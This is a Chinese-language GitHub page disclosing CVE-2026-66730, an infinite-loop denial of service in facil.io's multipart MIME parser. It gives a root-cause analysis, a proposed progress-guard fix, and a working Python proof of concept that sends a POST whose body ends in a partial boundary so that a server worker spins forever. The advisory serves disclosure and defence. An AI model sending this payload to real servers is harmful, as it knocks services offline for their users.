theopaid/CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser
GitHub: theopaid/CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser
披露 facil.io MIME 解析器中因部分 boundary 触发无限循环的高危 DoS 漏洞(CVSS 7.5),并提供根因分析、PoC 及修复方案。
Stars: 0 | Forks: 0
# 安全公告:facil.io MIME 解析器中的无限循环 DoS(部分 Boundary)
**分配的 CVE ID**:CVE-2026-66730
**产品:** facil.io
**受影响版本:** facil.io >= 0.6.0(所有 0.6.x、所有 0.7.x、master);随 0.6.0 中的 MIME 解析器一同引入
**组件:** `lib/facil/http/http.c`, `lib/facil/http/parsers/http_mime_parser.h`
**CWE:** CWE-835 (Loop with Unreachable Exit Condition), CWE-400 (Uncontrolled Resource Consumption)
**CVSS v3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
**研究员:** Theodosis Paidakis
## 摘要
一个主体以部分闭合 boundary 结尾(例如,使用 `--B-` 而不是 `--B--\r\n`)的 multipart/form-data 请求,会导致 `http_parse_body()` 陷入占用 100% CPU 的无限循环。当 MIME 解析器在部分 boundary 上停滞时,它会返回消耗了 0 字节,但调用循环仅检查了 `!done && !error`。由于这两个标志均未被设置,它会永远在同一数据上重复调用解析器。服务器不会崩溃,因此不会重启任何 worker。一个未经身份验证的 POST 请求会永久冻结一个 worker。
这与 CVE-2026-41146 无关,后者是 JSON 解析器(`fio_json_parser.h`)中的无限循环。此漏洞存在于 MIME/multipart 解析器中。
## 根本原因
**第 1 部分:调用方缺少进度保护**
**`lib/facil/http/http.c`, 第 1963-1967 行**
```
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
```
如果 `http_mime_parse` 返回 0 且未设置 `done` 或 `error`,`p.pos` 会保持不变,`fiobj_data_pread` 会返回相同的 buffer,循环将无法退出。
**第 2 部分:当 `http_mime_parse` 返回 0 时**
**`lib/facil/http/parsers/http_mime_parser.h`, 第 314-329 行以及 `consume_partial` 分支**
解析器会在值部分扫描完整的 boundary。当请求主体以 `\n--B-` 结尾(比完整的闭合 boundary `\n--B--\r\n` 少四个字节)时,扫描会找到 `\n` 以及看起来像 boundary 起始的内容,但无法确认其是否完整:
```
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
```
在下一次调用时,`in_obj` 已经被设置。`consume_partial` 分支会在 `--B-` 之前找到相同的 `\n`,然后将返回指针退回到任何未消费的数据之前:
```
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
```
`pos` 最终会停在它开始的位置或之前。函数返回 0。回到调用方,`cons = 0`,`p.pos` 没有移动,循环不断重复。
## 概念验证
启动服务器,然后运行:
```
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
```
观察结果:服务器进程占用 99.7-100% 的 CPU。需要使用 `kill -9` 才能恢复。
## 影响
被冻结的 worker 永远不会退出,因此不会发生重启。如果有足够多的请求(等于 worker 的数量),服务器将永久停止为所有客户端提供服务,直到手动重启。不需要身份验证、不需要特殊标头,也不需要预先状态。
## 修复方案
在 `http_parse_body` 的循环中添加进度保护:
**`lib/facil/http/http.c`, 第 1963-1967 行**
```
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
```
标签:C/C++, MIME解析器, Web服务器, 事务性I/O, 拒绝服务, 漏洞通报, 逆向工具, 配置错误